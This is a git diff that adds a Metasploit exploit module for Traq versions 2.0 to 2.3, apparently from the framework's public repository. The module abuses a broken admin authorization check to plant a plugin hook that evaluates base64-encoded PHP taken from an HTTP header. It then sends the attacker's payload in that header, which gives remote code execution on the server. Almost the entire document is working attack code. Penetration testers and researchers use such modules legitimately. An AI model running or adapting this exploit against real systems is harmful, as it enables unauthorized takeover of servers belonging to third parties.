diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb new file mode 100644 index 0000000000..83e19ff62a --- /dev/null +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability in + Traq 2.0 to 2.3. It's in the admincp/common.php script. + + This function is called in each script located into /admicp/ directory to + make sure the user has admin rights, but this is a broken authorization + schema due to the header() function doesn't stop the execution flow. This + can be exploited by malicious users to execute admin functionality resulting + for e.g. in execution of arbitrary PHP code leveraging of plugins.php + functionality. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'EgiX', # Vulnerability discovery and exploit + 'TecR0c' # Metasploit Module + ], + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ], + [ 'URL', 'http://traqproject.org/' ], + ], + 'Privileged' => false, + 'Payload' => + { + 'Keys' => ['php'], + 'Space' => 4000, + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', {} ]], + 'DisclosureDate' => 'Dec 12 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, "The path to the Traq installation", "/"]), + ],self.class) + end + + def check + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" + + res = send_request_raw( + { + 'uri'=> uri + }, 25) + + if (res and res.body =~ /Powered by Traq 2.[0-3]/ ) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + p = Rex::Text.encode_base64(payload.encoded) + + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" + + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'plugin_id' => '1', + 'title' => '1', + 'execorder' => '0', + 'hook' => 'template_footer', + 'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;' + } + }, 25) + + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php" + + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => uri, + 'headers' => + { + 'CMD' => p, + 'Connection' => 'Close', + }, + }, 25) + end +end